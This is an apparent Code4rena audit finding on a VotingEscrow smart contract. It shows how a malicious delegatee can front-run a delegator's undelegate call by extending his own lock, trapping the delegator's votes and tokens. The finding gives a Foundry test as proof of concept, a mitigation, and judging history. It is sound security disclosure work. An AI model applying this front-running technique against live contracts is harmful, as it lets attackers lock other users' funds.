Delegatee can prevent his delegators to undelegate and withdraw votes

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L331
https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L383
https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L384

Vulnerability details

Impact

Users in the VotingEscrow contract can delegate their voting balance to other accounts with a non-zero stake. To undelegate his votes back the user has to satisfy following conditions

• has non-expired lock
• user from whom he undelegates has a shorter lock.
  This leads to a situation where a user with a delegatee would be unable to undelegate and withdraw his CANTO tokens without increasing his own lock. In the edge case malicious delegatee can prevent delegator from undelegating his votes.

Alice has a lock, she delegates to Bob, later she wants to undelegate her votes, she extends her lock (to satisfy to.end >= from.end). Bob frontruns her transaction and increases his lock first, thus his lock time is greater than Alice's. As a result Alice needs to increase lock again to undelegate and Bob can repeat a frontrun again.

Proof of Concept

test case for VotingEscrow.t.sol

    function testUndelegateFail() public {
        // Lock with a duration 5 year should be created with delegated set to msg.sender
        vm.prank(user1);
        ve.createLock{value: 100 ether}(100 ether);
        assertEq(ve.lockEnd(user1), _floorToWeek(block.timestamp + ve.LOCKTIME()));
        (, , , address delegatee) = ve.locked(user1);
        assertEq(delegatee, user1);

        vm.prank(user2);
        ve.createLock{value: 0.1 ether}(0.1 ether);

        vm.prank(user1);
        ve.delegate(user2);

        vm.warp(block.timestamp + WEEK);
        // frontrun user1 and extend lock
        vm.prank(user2);
        ve.increaseAmount{value: 1}(1);
        // user1 fails to undelegate
        vm.prank(user1);
        vm.expectRevert("Only delegate to longer lock");
        ve.delegate(user1);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Implement a function that will allow delegator to forcefully undelegate his votes if needed.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #116

[c4-pre-sort]

141345 marked the issue as duplicate of #82

[c4-judge]

alcueca changed the severity to 3 (High Risk)

[c4-judge]

alcueca changed the severity to 2 (Med Risk)

[c4-judge]

alcueca marked the issue as satisfactory

[c4-pre-sort]

141345 marked the issue as not a duplicate

[c4-pre-sort]

141345 marked the issue as duplicate of #375

[c4-judge]

alcueca marked the issue as selected for report

[c4-judge]

alcueca marked the issue as duplicate of #182

[c4-judge]

alcueca marked the issue as not selected for report

[c4-judge]

alcueca changed the severity to 3 (High Risk)